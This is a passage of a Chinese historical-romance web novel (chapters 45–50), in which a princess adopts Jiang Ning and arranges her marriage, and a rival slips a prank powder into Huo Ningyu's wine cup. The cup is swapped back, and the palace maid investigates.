公主特别交代,一看到霍家的马车,一定要把人先接到内堂。
“见过霍夫人,霍小姐。我们公主等你们多时了。”嬷嬷热情笑道。
霍凝玉撇了撇嘴。
“走吧。”容华芝面无表情。
身姿从容,走在前面。
霍凝玉感觉母亲如要上战场的将军。
“母亲,平常心对待。”她
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扯了扯母亲的衣袖。
母女俩被领进主院内堂。
“臣妇(臣女)拜见大公主殿下。”
“起来吧。”赵明月虚抬手。
“谢大公主。”
霍凝玉看到慧兰县主和江宁乖乖站在赵明月身后。
江宁眼含得意地望向霍凝玉。
但霍凝玉只是扫了她一眼,就站到自己母亲身后。
赵明月赐座。
容华芝刚坐下,忠义伯夫人夏宜宣也来了。
她的脸色就更难看了。
“臣妇拜见大公主。”夏宜宣压着心里的不快,恭敬见礼。
“忠义伯夫人,你能来,本宫非常高兴。”赵明月话里有话。
“大公主设宴,臣妇无有不来的道理。”夏宜宣知道自己的身份。
“很好。”
夏宜宣看到江宁,如吃了苍蝇。
可她不敢造次。
只得瞪了容华芝一眼。
她不能恨公主,但霍家,她恨上了。
为何就没把江宁教导好,让她做出勾引她儿子的事。
原本她对霍凝玉这个未来儿媳妇非常满意的。
她与容华芝还是闺中好友。
想到此,她真恨不得此时就能开口骂一顿容华芝。
巳时初,该来的贵妇贵女们都到了。
赵明月才正式开始介绍。
“前些日子,本宫遇到了一对母女,就是她们。这位是杨氏玲珑,曾嫁给一位江举人为妻。
可惜江举人福薄,因公殉职。
这位就是江举人的女儿江宁。
她们母女被户部尚书霍大人带回府,一直照顾了八年。
霍大人夫妻做得很好。
但因儿女婚事,两家闹了些不愉快。
想来大家都知道,忠义伯大公子谢正阳与霍家大小姐定亲多年。
但感情的事,谁也无法预料。
江家姑娘与谢大公子有了感情。
虽然此事于礼不合,但我们都是女人,哪个不想嫁给自己心仪又心仪自己的男子。
求而不得,那种苦,我想在座应有人体会过那种滋味。
得知她们的经历后,本宫深感同情。本宫决定收江宁为义女,给她一个体面。”
赵明月说得感天动地。
各家夫人小姐都默默听着。
但各人心里怎么想,那就另一回事了。
第45章 当面提亲
大公主认可霍家的付出,这点让霍凝玉感觉舒服些。
要是她一味偏袒她们母女,那她就要想想办法了。
好在大公主并没有糊涂。
不过是为情所困,从而放纵自己的皇家公主。
此次她也是被人利用。
要是她知道**母女是辰王设计送到她面前的,会作何感想?
不过,估计辰王会让她知道。
不然不白忙活一场?
“恭喜大公主喜得贵女。”一个很会拍马屁的妇人率先开口打破短暂的沉默。
接着各种恭贺声响起。
然,容华芝和夏宜宣都静**着。
“来人,去请驸马过来,认亲开始。”
很快,王驸马被请来。
驸马爷是王家长房第三子。
王家是京城世家,在朝中为官者数人。
当年本是鲜衣怒马的美少年,因尚了公主,与朝堂再无缘。
两人貌合神离,早已不是秘密。
不过是有名无份而已。
两人各过各的日子。
需要时,找来占个身份。
“**女,跪拜敬茶。”一嬷嬷高喊。
江宁恭恭敬敬跪到赵明月和王驸马面前。
今日她特意打扮,一身淡黄滚边白底印花对襟褙子,曲水织金连烟锦马面裙。
再配赤金嵌红宝石缠丝牡丹头面。
以她们母女的身家,还置办不起这样的一身行头。
再看杨氏身上就很普通。
大公主给江宁做脸,特意为今日给她准备的。
霍凝玉有些心不在焉。
在想,今日江宁认了大公主为义母,未来会如何呢?
“请义父义母喝茶。”江宁面带微笑,实际心里不知有多雀跃。
夫妻俩分别接过茶喝了。
江宁三个实实在在的响头叩下。
收了两人的礼物,算是完成仪式。
王驸马不多作停留,起身离去。
整个过程一句话没说。
“慧兰,你比宁儿小几个月,就叫一声义姐吧,以后可不许欺负义姐。要好好与她相处。”赵明月又仔细交代慧兰县主。
这几日女儿与她闹。
这样一个上不得台面的女子,慧兰县主当然看不上。
她不知道母亲为什么要给江宁做脸。
赵明月只得把杨氏对她有大用告诉她。
“是,母亲。”慧兰县主应道。
“宁儿,本宫不希望你做一个忘恩负义的人,你之前在霍家生活了八年,霍家养育了你,这是不争的事实。
她仍是你义母。
去,向霍夫人行个礼。”赵明月严厉教导。
她是皇家嫡公主,教养自是最精心的。
她不允许江宁身上有不孝的污点。
感情的事,可以用情不自禁来搪塞众人。
但,孝不可不遵。
“是,义母。”江宁面上短暂僵硬了一下,瞬间就恢复乖巧懂事。
款步来到容华芝面前,姿态轻柔,曲膝一礼。
而不是行跪拜大礼。
容华芝面无表情看着她。
真会装。
要不是女儿重生,她真看不出江宁竟有那般心机,害得女儿死不瞑目。
很想给她一巴掌,有多远扇多远。
最好一辈子再也见不到。
但当着公主的面,她不能这么做,
霍凝玉也在后背戳了戳她,提醒。
她知道母亲心里不高兴,但不可失了礼数。
深吸一口气,压下心里的愤怒,容华芝只是点了个头,算是受了她这一礼。
”你们年轻人都出去玩吧。慧兰,带各家姑娘们去园子里赏菊,前不久摆上的菊花开得正艳。“赵明月淡笑着吩咐。
霍凝玉只得跟着小姐们出去。
一些想赏菊的夫人也起身。
夏宜宣也想离开。
“忠义伯夫人,请留步。”赵明月叫住她。
夏宜宣只得又坐下。
“忠义伯夫人,刚才本宫的话你也听到了。
你家正阳与宁儿本是两情相悦,我们做长辈的,不能棒打鸳鸯。
现在他与霍家小姐已经退亲。
所以本宫为了孩子的幸福,特向你家小子提亲。
宁儿虽是义女,但在本宫心里如亲生。
夫人今日回府就与忠义伯商量一下,抽个时间上公主府议亲吧。”
赵明月不拐弯抹角,说话如命令般。
夏宜宣怔住,大公主才刚刚收江宁为义女,立即就要与谢家议亲,这来得也太快了。
想到江宁以前的身份,心里一时之间无法接受,没有第一时间回大公主的话。
“怎
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么,本宫的义女,你也敢嫌弃?
是不是觉得她已不是完璧?
那也是失身给了谢正阳,他一个大男人,难道不应该负责吗?
你居然还把她们母女撵出京城。
如果不是正好遇到本宫,她们母女以后要如何生活?
身份就算差点,那也是举人的女儿。
你忠义伯府已经连续两代不曾建功立业,不过是说着好听些罢了。”
赵明月的话越说越严重。
皇家公主,不容置疑。
“臣妇不敢。臣妇这就回去与伯爷商量。”夏宜宣被吓得身子一矮,跪了下去。
“不必现在就回,用过午宴再回也不迟。”赵明月忽又恢复平和的语气。
容华芝很庆幸自己受了江宁的礼,大公主的气势比太子殿下都要强。
“霍夫人,宁儿也是你的义女,这婚事,你霍家也参与吧,她是有做得不对的地方,毕竟年纪小,见识少,眼里只有儿女情长。”
这话让容华芝一噎。
都赶出霍家了,他们还怎么参与。
而且她根本就不想参与,最好与那对母女什么关系都没有。
可大公主为了给江宁做脸,竟把霍家也带上。
这是要把之前发生的事一笔带过,让霍家不再计较。
“请大公主示下。”容华芝反应快。
“也不用你们做什么,宁儿出嫁时,给她准备几抬嫁妆即可,也全了你们这些年的母女之情。
她会记得霍家的好的。”
赵明月想**母女与霍家缓和关系。
**母女目光短浅,看不到霍家的好。
而霍家家规四十不纳妾就是一条十分吸引人的规矩。
如果与霍家关系处好,她的慧兰或许可以嫁入霍家。
霍家现在两个儿子都没有婚约。
好些夫人都瞄着呢。
而江宁再嫁入谢家,这层关系再紧秘些,她的关系网就更广了些。
赵明月看得更远。
她现在还没有任何行动,如果某一日需要站队,这些都是她的人脉。
未雨绸缪。
容华芝不知大公主所想,听了公主的话,如吃了苍蝇般难受。
可刚才见识到公主的强势,她不能当面驳公主面子。
脑子一转就有了主意。
第46章 道歉的目的
大不了把**母女以前用过的东西打包送去就是。
反正放着也没用。
她本就想丢弃的东西。
“臣妇一定置办好几台嫁妆送来。”
到时不用送到公主府,江宁出嫁那日直接送进嫁妆队伍里,一起抬进谢家。
免得让公主看到说些不中听的。
过后,就算江宁发现全是旧物,也不敢到公主面前说什么。
刚才公主可是说了,她也是她的义母,敢编排就是不孝。
霍凝玉出了正堂,跟在各小姐后面,去了公主府的园子里。
果然摆了好些开得正艳的菊花,各色品种,争奇斗艳。
“霍乡君。”一个轻轻柔柔的声音从身后传来。
霍凝玉一转身,看到是顾家的四小姐,顾佳倩。
正是太子妃的四妹。
那日在宫中,太子妃还特意说让四妹与她玩。
“顾四小姐。刚才人多,没留意到你。”霍凝玉有些不好意思。
“我没进内堂,你当然没看到我。”顾佳倩笑道。
“走,我们一起去赏菊。”今日万青黛没在受邀之列,霍凝玉暂时没有玩伴。
正好与顾四小姐亲近亲近。
两人只限于认识,性格不同,以前很少一起玩耍。
但从今日开始,霍凝玉打算交好。
“好啊。”
“顾四小姐,有一次我在宫宴上听你弹琴,弹得可真好。以前我不爱这些,可不可请你多指导指导我?我打算好好学。”霍凝玉挑起话题。
而她确实想好好学习一下这些风雅之物。
她虽还保留原有的性格,但心性已不是真正的十七岁。
她要慢慢变得沉稳。
“叫我名字吧。”顾佳倩也想拉近两人关系。
大姐早已交代过娘家,与霍家一定要交好。
“好,我就叫你佳倩吧,你也别叫我乡君,我比你大一岁多,就叫我霍姐姐吧。”霍凝玉挽住她的胳膊,一起走。
“嗯,霍姐姐。”
两人相视而笑。
一起去赏菊。
赏菊不过是个由头,园子里还有很多其它可供小姐们玩耍的。
“走,那边凉亭正好有琴,现在就指导一下我吧。”霍凝玉来了兴致。
两人走进凉亭,这里已摆了些点心和瓜果,以备客人随时取用。
顾佳倩坐下,选了一首相对简单的曲**了一遍。
霍凝玉认真看着,看她的技巧和指法。
她比前世学习能力强了不少,看了一遍就记住了。
然后坐下,也弹了一遍,与顾佳倩弹得如出一辙。
“霍姐姐,你会弹呀,哪里需要我指导。”顾佳倩鼓掌,笑着夸赞。
“过奖了,那是因为我看到你弹,有样学样。现在我弹一首我以前练过的曲子你听,就知道我什么能力了。”
霍凝玉想了想,一首《月思》从指间流出。
顾佳倩一听,皱起了眉头,果然与之前那首相差甚远。
“我说谁呢,原来是霍大小姐,不会弹琴,就不要拿出来显摆,你这不是污我们耳朵吗?”陈芳蓠与两位小姐漫步走进亭子。
目光带着鄙夷。
她恨霍凝玉。
之前霍凝玉传出那样的流言,让她这个未来嫂嫂没脸见人,闹死闹活把婚事退了。
可刚退了亲,霍凝玉就救了三皇孙,又借机洗清了谣言,过后连太子妃都出面帮她避谣。
没过几日,她又立了大功,被皇上封为乡君。
她退婚退了个什么?
母亲为此骂了她多次。
这么好的婚事被她给做没了。
可是退都退了,想再续前缘,陈家拉不下那个脸。
而这一切都是霍凝玉造成的。
要不是她传出那样的谣言,她怎么可能退亲。
霍凝玉本来专注弹琴,被这突兀的声音打扰,有些不悦。
抬起头来看到是陈芳蓠,心里更加不快。
本来两人并无仇怨,可一退了亲,就看自己不顺眼,处处刁难。
“原来是未来大嫂啊,不对,看我这记性,你与我大哥已经退亲了。是不是后悔了?”霍凝玉讽刺意味十足。
“谁说我后悔了?你以为你大哥是什么香饽饽,我堂堂帝师家的小姐,还怕找不到好男儿嫁?
倒是你,连谢正阳这种货色你都抓不住,被人挖了墙角。”陈芳蓠像被踩了尾巴的猫,突然高声叫道。
说出的话异常刻薄。
“是啊,能被挖动的墙角,说明不牢固,我很庆幸没有嫁给
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他,那样的货色的确配不上我,下一个肯定比他好。”霍凝玉并没有被气得跳脚。
她一眼就看出陈芳蓠后悔了,可失去了就是失去了。
幸好退了亲,不然大哥就要苦一辈子了。
“就凭你,连弹个琴都弹得五音不全,还想嫁比谢正阳更好的,你怕是在做梦吧?”陈芳蓠有种越战越勇的架势,非要把霍凝玉压下去才甘心。
“陈芳蓠,你吵什么吵?”这时慧兰县主与几位小姐走了进来。
身后跟着江宁。
“县主,我......”陈芳蓠敢在霍凝玉面前叫嚣,但不敢在大公主的女儿面前发威。
“你说的那些话,以后不许再说。”慧兰县主厉声喝斥道。
慧兰县主一开始没有细想。
母亲这次从城外回来,与她分析了一下霍家,她才知道自己之前为难霍凝玉有多不明智。
她还有一个月不到就及笄了。
母亲一直在给她相看亲事,可是没有一个她满意的。
霍家与陈家退了亲,母亲就想到霍家是个再好不过的人家。
想到霍家四十无子方可纳妾的家规,哪个女子不向往。
她一听就明白了母亲的苦心。
从那一刻起,她就变了心态。
霍家几兄妹关系亲密,要想与霍家定亲,就要交好霍凝玉。
而她是县主,要嫁肯定是嫁给嫡长子。
霍大公子才学过人,以后定能如他父亲一般,位极人臣。
“玉姐姐,宁儿在此向你赔罪。是我不好,与正阳有了感情,才做了对不起你的事。”这时江宁走上前来,向霍凝玉深深行了一礼。
口中说着道歉的话。
公主义母说不管过去有什么仇怨,都没有前途重要。
她牢牢把这句话记在心里。
她需与霍家尽力维持表面和平关系。
认个错又何妨。而且还是在大庭广众之下。
霍凝玉望了望天,什么话也没说。
江宁就那么保持行礼的动作。
这是做给谁看呢。
霍凝玉心里嗤笑。
短短几日,就被公主给教导的知书达理了?
“你道歉的目的是什么?想把谢正阳还给我?”霍凝玉倒要看看她怎么应答。
第47章 要使坏
“不,不是的。宁儿与谢大公子已经那样了,只能嫁给他。求玉姐姐成全。”江宁瞬间流下眼泪,带着哭音说道。
“我还以为你攀上了高枝,就不要他了呢。还好,谢正阳的眼睛还没瞎到那个程度,你还有些可取之处。
既然你都认了大公主做义母,想来你的婚事也快近了,你就放心嫁过去吧。
提前祝你们百年好合,至于能不能早生贵子,这就要看天意了。”霍凝玉幽幽道。
谁都听得出她话里的讽刺意味。
霍凝玉魂飘时,后来也去谢家看过。
五年时间,江宁生了两个女儿,她重生之前又怀孕了,是男是女不知。
估计又是个女儿。
江宁默默咬了咬后槽牙,起身:“多谢玉姐姐吉言。”
“都散开玩吧,别在这里打扰霍乡君弹琴。”慧兰县主开始赶人。
其实就是想把陈芳蓠赶走。
众人离去,凉亭里只留下慧兰县主,霍凝玉和顾佳倩三人。
“霍小姐,之前本县主也有不对,与陈芳蓠一起针对你。
那时我也是受流言蒙蔽,后来知道那都是以讹传讹,当不得真。
今日本县主也向你道歉。”慧兰县主说着,蹲了蹲身。
霍凝玉一怔。
什么情况?
“县主客气,我并没放在心上。”霍凝玉并没有计较。
一个人云亦云的小姑娘罢了。
“我知道你不喜欢江宁,我也不喜欢。可是我娘心善,听了她们母女的遭遇,心生同情,才收她为义女的。
我悄悄告诉你,其实我娘也是在利用她。
江宁的母亲有点本事,会些医术。她说可以治好我娘的不孕症,我娘才如此做的。”
后面的话,慧兰县主凑到霍凝玉耳边压低声音说的。
“原来如此。”霍凝玉“恍然大悟”,“多谢县主告知。”
深深看了慧兰县主一眼。
县主今日向她示好。
难得。
或许大公主还不知道自己被辰王利用吧。
另一边。
江宁带着自己的丫鬟丁香慢慢走在院子里。
这丫鬟是她自己买的,就是那日去通知曾永信的丫鬟。
此次也跟着进了公主府。
谁都知道江宁的身份,没人愿意主动与她交好。
京中贵女,哪个不尊贵高傲。
这种身份的小姐,在她们眼里,哪怕被大公主收为义女,也不会入她们的眼。
婚前与人私通,也就大公主会同情。
大公主那点秘密,京里有点脸面的人家都知道。
爱而不得,就自暴自弃。
还同情同样爱而不得的人。
但,因大公主身份尊贵,圣上又因把她嫁入王家,心有愧疚,才纵着大公主。
“小姐,要不要吃点什么?奴婢去取。”丁香见主子一人落寞,没话找话说。
“不用。”江宁心里有底。
以前有霍凝玉带着,那些小姐一样看不上她。
现在有与人私相授受的事在前,更不会有人看得上她。
她不在乎,只要能嫁进谢家,地位自然就变了。
这时,陈芳蓠的身影映入江宁的眼帘。
忽然,一个主意涌上心头。
这个女人,也就仗着帝师孙女的身份,看不起这个,看不起那个,实际和霍凝玉没差多少,也是个没脑子的蠢货。
“丁香,去找我娘要一样东西来给我。”江宁在丁香耳边悄声告诉她所要的东西。
丁香匆匆而去。
没过多久,就拿来江宁要的东西。
“陪我走走。”江宁摘了一支绿鄂菊拿在手里,一边欣赏院中景色,一边漫步。
走着走着,故意走到陈芳蓠前面不远处。
陈芳蓠也不想与江宁接触,假装没看到她。
“小姐,你看。”陈芳蓠的丫鬟衔月看到地上有一个小荷包。
捡起交到主子手里。
荷包很普通,不过能看出是女子所用。
没有任何标志,看不出是谁掉的。
再看不远处的江宁,她腰间正挂着一个荷包,应该不是她掉的。
陈芳蓠打开,想看看里面装的什么。
里面静静躺着一个小小的纸包。
“这是什么?”陈芳蓠好奇。
拿出来,当看到纸包上写的字时,手顿住。
“通气粉!”
还有一个重点强调的字:臭。
打开纸包,白色粉末。
“走。”陈芳蓠脸上荡开阴冷的笑意。
主仆两人,走到一个水缸处。
缸里装满了水,用于浇花的。
陈芳蓠捏了一点点粉末丢进水里。
粉末遇水即溶,看不出颜色变化。
“
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好东西,也不知道哪个小姐想算计人。不小心丢了荷包,便宜了我。”陈芳蓠很高兴得到好东西。
“衔月,本小姐交给你一件事,你务必想办法办好。”
主仆俩就此商量了一会儿。
时间很快到了宴会开始的时间。
霍凝玉比前世此时沉稳练达,与顾佳倩温温柔柔的性格很合拍。
只一日就成了好友。
相约以后一起玩。
顾佳倩还提出把她的先生介绍给她。
以后她们两人就是同一先生门下的女弟子。
霍凝玉很感激。
约好明日就让先生上门。
先生可以两边跑,分别给她们两人上课。
如果可以,两人也可以一起上课。
来到公主府内院花厅。
很大,可以摆好几桌。
今日来公主府的各家女眷大约有三十几人。
姑娘们坐一起,夫人们与大公主在另一个花厅里用膳。
这样安排,大家都不拘束。
霍凝玉刚坐下,珍珠避着人进来,往霍凝玉手里塞了一张纸条。
霍凝玉奇怪,在桌下打开,看到一行小字。
像是用木炭写的。
当看懂几个字时,身子一怔。
坐在她旁边的顾佳倩也看到了那几个字。
两人对视一眼,默契起身,走向陈芳蓠所在的那一桌。
正好她旁边的两个位置空着。
“喂,你们两个不是坐那边的吗?”陈芳蓠不想与她们两人一桌。
“陈三小姐,这里靠窗,光线好。”顾佳倩笑着说道。
陈芳蓠动了动嘴唇,想说什么又压下。
顾佳倩是太子妃的亲妹妹,她还没那个胆子与顾佳倩过不去。
好在顾佳倩坐在陈芳蓠旁边。
霍凝玉坐在顾佳倩另一边。
很快饭菜开始上桌。
首先一碗开胃汤。
大家都默默一勺一勺喝着。
公主府还准备了梅子果酒,女子喝很合适。
伺候的丫鬟在每人面前放一个酒杯,白色的陶瓷杯,很漂亮。
用它装果酒,最能体现果酒的颜色,如琥珀。
霍凝玉果然看到自己面前的酒杯里,隐约看到一些白色的东西,虽不明显,但仔细看就能看出来。
因为是白色,一般不会注意。
向顾佳倩点了点头。
第48章 臭气熏天
两人悄悄在桌下把酒杯交换。
动作很快,顾佳倩故意抬起广袖挡住了陈芳蓠的视线。
丫鬟开了酒坛,再给每个客人一一斟上。
“陈小姐,我看你这杯好像少一点,我不能喝太多,咱们换换如何?”顾佳倩温声道。
陈芳蓠没看出两杯有什么区别。
可人家这么说了,她也不好推拒。
两人顺利换了酒杯。
霍凝玉笑着轻轻饮了一口。
这一口正好落入陈芳蓠的眼里。
她也笑着饮了一口自己手里的。
大家食不言,默默吃着自己面前的饭菜。
霍凝玉很主动帮顾佳倩夹菜。
“你与我相比,太瘦了,多吃些。”霍凝玉小声笑道。
随着一道道菜上桌,顾霍两位小姐吃得很欢。
顾佳倩明显被霍凝玉带坏了。
陈芳蓠鄙夷看着两个没有吃相的大家闺秀。
等着吧,一会儿看你怎么出丑,以后再没脸出门。
陈芳蓠也开始吃,吃得很斯文,和她为难霍凝玉时完全两样。
可是半刻钟过去了,也没见霍凝玉有什么反应,只知道一口接一口地吃,好像八辈子没吃过好东西似的。
可就在此时,她的肚子怎么不对劲?
有股力量在不断撑大她的肚子。
接着向下行。
有一种想要放气的冲动。
可在这么多小姐面前,她不能失仪。
拼命压着。
可是越压越难受。
脸色很快涨得通红。
“陈三小姐,你怎么了?”顾佳倩故作关心问道。
本来大家都安静用餐,顾佳倩的话引起了其他人的注意。
同桌的都停下筷子看向陈芳蓠。
“陈三小姐,是不是身子不舒服?”一个与陈芳蓠关系还不错的小姐问道。
“没,没有。”陈芳蓠艰难挤出几个字。
而她一说话,好像失了力量般,再也压不住。
一声响彻整个花厅的一声“噗”释放出来。
“啊!”小姐们惊叫着站起。
凳子倒地,酒杯不小心掉到地上。
碎裂声此起彼伏。
这还不算完,陈芳蓠那厢还在不断添加伴奏。
臭气熏天。
小姐们捏鼻子的捏鼻子,捂脸的捂脸。
“快出去,有毒。”霍凝玉高喊一声,又快速捏住自己的鼻子,第一个冲出花厅。
另外一桌刚开始不知道发生了什么事。
一闻到臭味,也纷纷跟着出去。
陈芳蓠傻了。
为什么是她?
为什么不是霍凝玉?
陈芳蓠看到跑得一个人都不剩的花厅,哇的一声大哭起来。
然后也冲出花厅。
“霍凝玉,我跟你拼了。”她再也维持不住大家小姐的形象。
可是就在她冲的过程中,还在不停响着“噗噗”声。
霍凝玉见她冲向自己,一闪身,躲开。
陈芳蓠顺势摔了个狗啃泥。
哭得更伤心。
她的丫鬟衔月这时刚从游廊那头过来,看到自家小姐摔在地上,立即上前把人扶起。
“小姐,发生什么事了?”衔月惊慌问道。
陈芳蓠一看到自己的丫鬟,气得甩手就是一巴掌。
打得衔月差点摔倒,脸上立即浮现五个手指印。
“发生何事?”这时赵明月的声音在众人身后响起。
她并没有与姑娘们一起用膳,而是与夫人们在另一个花厅里,这边只有慧兰县主作陪。
“娘,陈四小姐在用膳时失仪。”慧兰县主就把刚才的事说了一遍。
“来人,去请府医来一趟。”赵明月一听就知道陈芳蓠吃了不该吃的东西。
但这效果也太霸道。
陈大夫人见女儿受了这么大委屈,扶着女儿,心疼不已。
很快府医赶来,看诊把脉。
“公主殿下,陈三小姐吃了一种叫连环珠的药,其中含有气鼓草提炼后的成分,才使得陈小姐有此反应,但对身体并无大碍,最多不超两刻钟,药效就过了。”府医也有些本事。
赵明月一听就明白了。
这就是一个让人出丑的东西。
居然有人敢在她公主府行如此下作之事。
“来人,带陈小姐去梳洗,整理仪容。”赵明月吩咐道。
两个丫鬟上前把人扶去收拾。
“苏嬷嬷,给本宫查,今日之内,必须给本宫查清楚。各位夫人小姐,还请大家配合。”赵明月表情严肃,明显怒了。
让自己身边得用
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的嬷嬷来查。
夫人小姐们都默默低下头。
谁这么大胆,敢在公主府害人。
陈芳蓠可是帝师的孙女,居然都敢害。
可想起刚才陈小姐出来就向霍凝玉扑去。
难道是霍凝玉害她?
可看霍凝玉没有半点心虚的样子,又让人费解了。
“凝玉,怎么回事?”容华芝已看出女儿被针对了。
“娘,没事,只是被狗咬了一口。”霍凝玉安慰道,冲她眨了眨眼。
眼角明显翘起。
容华芝就知女儿并没有吃亏。
霍凝玉第一个被苏嬷嬷叫去问话。
“霍乡君,老奴僭越了,还请如实相告,老奴也好向公主交差。”苏嬷嬷先礼后兵。
“苏嬷嬷,你觉得是我害陈小姐的?”霍凝玉眼睛一缩。
“霍乡君,不是老奴觉得,而是想请您如实相告。”苏嬷嬷不卑不亢。
一副公事公办的态度。
“苏嬷嬷,请看。”霍凝玉把手里的那张纸条递给苏嬷嬷。
苏嬷嬷接过一看:杯中有毒,换给陈芳蓠。
“苏嬷嬷,有好心人给我提了个醒。
而当贵府丫鬟把酒杯摆到我面前时,我就看到杯中有异物,但不明显。
我心生警惕,按纸条上的提示,把杯子换给顾四小姐,由顾四小姐再换给陈三小姐。
陈三小姐用了那杯子装的酒后,就失仪了。她一发作,就针对我。苏嬷嬷,你说这药是谁下的?”霍凝玉也不为难苏嬷嬷。
话说到此,再明显不过。
药就是陈三小姐让人下给霍凝玉的,结果被反将一军。
“可知这纸条谁给你的?”苏嬷嬷问到关键点。
“我也不知道,我的丫鬟与贵府中一丫鬟撞了一下,被塞了一张纸条在手中,就拿给了我。”霍凝玉编了个假话。
“可知是哪个丫鬟?”苏嬷嬷看向珍珠。
“苏嬷嬷,只匆匆错身而过,奴婢并没看清那丫鬟长什么样。”珍珠立即说道。
主仆俩配合得很默契。
苏嬷嬷见珍珠不似撒谎,点了点头,让她们出去。
又叫了陈三小姐进去问话。
江宁整个过程都看着。
眼神阴鸷。
问题出来哪里?
第49章 谁在帮她?
陈三小姐都动手了,为何是她自己中招?
她下了一个饵,鱼都咬上了,却出了岔子。
真是命大。
苏嬷嬷很快查清楚事情的来龙去脉。
去向大公主禀报。
“公主殿下,毒是陈三小姐下给霍乡君的。但霍乡君被人提醒,换给了下毒的陈三小姐。而那毒,陈三小姐说是在园子里捡到的。
老奴并没查出是哪位小姐掉的。装药的荷包很普通,看不出是谁的。”苏嬷嬷很懊恼。
陈三小姐也是被人利用。
那人知道陈三小姐与霍乡君不睦,故意丢荷包让她捡到。
但最大的错自是在陈三小姐身上,如果她不起心思,那药捡了也就捡了。
不用,什么事都没有。
最终陈芳蓠的丫鬟衔月被打了一顿板子。
因为下毒的直接操作者就是她。
衔月在开宴前,特意去帮公主府的丫鬟,表现得很勤快,打听到她们摆碗的习惯,算准哪个杯正好摆到霍凝玉面前。
趁人不注意把药粉倒进杯里,还用手抹了抹,让人看不出来。
公主府今日伺候的丫鬟也受了连累。
陈大夫人被赵明月狠狠申饬一顿,说她教女无方。
被列为拒绝往来户。
陈大夫人没脸继续在公主府待,带着女儿和受伤的衔月匆匆离去。
宴席散去。
各家告辞离去。
赵明月脸色阴沉下来。
“把江宁给本宫叫来。”
江宁小心翼翼进来,低着头。
“江宁,今日之事,是你做的?”赵明月冷声问道,但语气却是肯定。
江宁身子一抖,跪下。
不言而喻。
“义母,女儿知道错了。”在大公主面前,江宁不敢造次。
“你以为本宫认了你为义女,就身份高贵了吗?居然如此胆大妄为。
苏嬷嬷,给本宫好好教训一顿。”赵明月直接下令。
要不是看在她娘能治好她病的份上,哪里会给一个举人的女儿做脸。
真是不知天高地厚,敢在她眼皮子底下耍阴招。
苏嬷嬷上去就狠狠扇了江宁几巴掌。
江宁只得受着。
眼泪横流。
权势,此时她无比渴望。
如果她是真正的贵女,或者贵妇,大公主也不敢轻易用刑。
而此刻,她就是大公主手里的提线木偶。
随意拿捏。
“记住你的身份,好好待嫁,如若再敢造次,本宫绝不轻饶。”赵明月挥了挥手,让人带下去。
赵明月的脸色仍然很难看。
“公主,好好教导,宁小姐会知道您是为她好的。说句实话,老奴觉得她今日之举,虽有不对,但却能看出她是个聪明的。
如若不是您知道她娘医术不错,也不会猜到是她所为。她这招祸水东引之计,确实用得不错。”苏嬷嬷劝道。
“你说得对。希望以后是个得用的。”赵明月听进了苏嬷嬷的劝。
“只是不知道霍家小姐是谁提醒的她,老奴一直没查到。
而她的丫鬟说咱们府上的丫鬟撞了她,就被塞了一张纸条。
可她又说不出是哪个丫鬟。难道咱们府上有霍府的细作不成?”苏嬷嬷很疑惑。
“纸条呢?”赵明月想到还有这么大一个漏洞,脸色阴沉。
苏嬷嬷从怀里拿出那张小纸条,递给赵明月。
“这字不像女子所写,应该是个男子。”赵明月脸色更沉了些。
敢在她府里安插眼线,霍家还没那个胆子。
只有几个皇弟才敢这么做。
谁会帮霍家?
不用想,除了太子,不作他想。
因为上个月的八月十五,她虽没回京,但宫里发生的事,她都清楚。
可太子一个病秧子,难道以为自己还能好不成?
居然敢在她府里安插眼线。
不对。
“苏嬷嬷,今日园子里有没有男子出入?”赵明月又否定自己的想法。
明显是男子的字迹,说明当时有人在园子里看着。
“回公主,没有。今日上门的都是女眷。几个花匠都被老奴打发去了外院,怕冲撞了贵女们。”
“那就奇怪了。”赵明月怎么也想不明白。
而同样的对话,也在霍家马车里讨论。
“凝玉,你可知是谁给你的纸条?”容华芝十分感谢提醒女儿的人。
“母亲,我们霍府没在公主府安插眼线吧?”霍凝玉其实也一头雾水。
“没有,霍家哪敢在嫡公主府里安插眼线,一旦被发现,霍家哪里承受得住公主殿下的怒火。
霍凝玉冥思苦想。<
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br>眼睛陡然一睁。
上次大哥要替她教训江宁母女,拐了个弯去求圆通大师,被赵大人知道,帮了大忙。
虽然结果不如人意,但他的初衷是好的。
难道这次又是他帮的忙?
哼,那人居然派人时刻跟着她。
可是,这可能吗?
或者他安插了眼线在公主府?
“娘,先送我去悦景茶楼,再送您回去后让马车来接我。”霍凝玉看了看外面的天色,离天黑还早。
去碰碰运气。
“你是说,赵大人在帮你?”容华芝一听就明白女儿什么意思。
“只是猜测,我去求证一下。如果真是他,女儿不能白受人家的恩,总要感谢人家,不然今日出大丑的就是女儿了。”
马车来到悦景茶楼。
霍凝玉让母亲先回去,给她留了个护卫。
带着两个丫鬟,进了悦景茶楼。
此时已是下午申时中,正是做了一天事,放松的好时候。
三五好友聚一聚,再回家用晚膳,时间正好。
掌柜的看到霍凝玉进来,眼睛一亮。
主子几次单独见这位小姐,又请她一起用膳,他可清楚得很。
“小姐,可是要上二楼雅间?”掌柜的亲自接待,笑得特别夸张。
“掌柜的,我可以上去吗?”霍凝玉也笑着问道。
“当然可以,请随小的来。”
霍凝玉被带到二楼最东头里间的次间。
也就是之前与赵炳煜相见的隔壁。
进去之前,她看了一眼隔壁。
门死死关着,门口也没有站人。
说明里面没人。
她有些遗憾。
但她并没有离去,而是要了一壶茶,与两个丫鬟一起啜茶聊天。
她想等等,或许那人就来了呢。
“小姐,今日真的好险。”珍珠此时还有些后怕。
“是啊,小姐,陈三小姐太不是东西了,见风使舵。退了亲,也就罢了,为何还要处处与小姐过不去?”玛瑙也气鼓鼓地抱怨。
“有些人啊,可能后悔了,而让她后悔的罪魁祸首就是本小姐。所以她就恨上我了。”霍凝玉早就想明白。
她家大哥人中龙凤,想嫁的人能绕城一周,也就那蠢货不知道珍惜。
就在这时,门外响起敲门声。
第50章 大人,是不是你帮了我?
霍凝玉立即来了精神,让玛瑙去开门。
果然如她所料,是余征。
“霍乡君,巧啊。听说你在这儿,来打个招呼。”
余征热情的笑脸出现在门口。
“余大人。”
“不敢当霍乡君一声大人,叫我余征即可。”余征谦虚道。
他不过是七品带刀侍卫,得头儿看中,才有今日的地位。
跟在头儿后面“作威作福”。
“好吧。余征,你们大人也来了吗?”霍凝玉伸着头向外看,可什么也没看到。
那期盼的模样落入余征眼里。
看得余征心里的想法可就多了。
头儿都二十三了,还没成亲,这霍家大小姐要是有意,真是不错的人选。
“请霍乡君移步隔壁。”余征笑着做出请的手势。
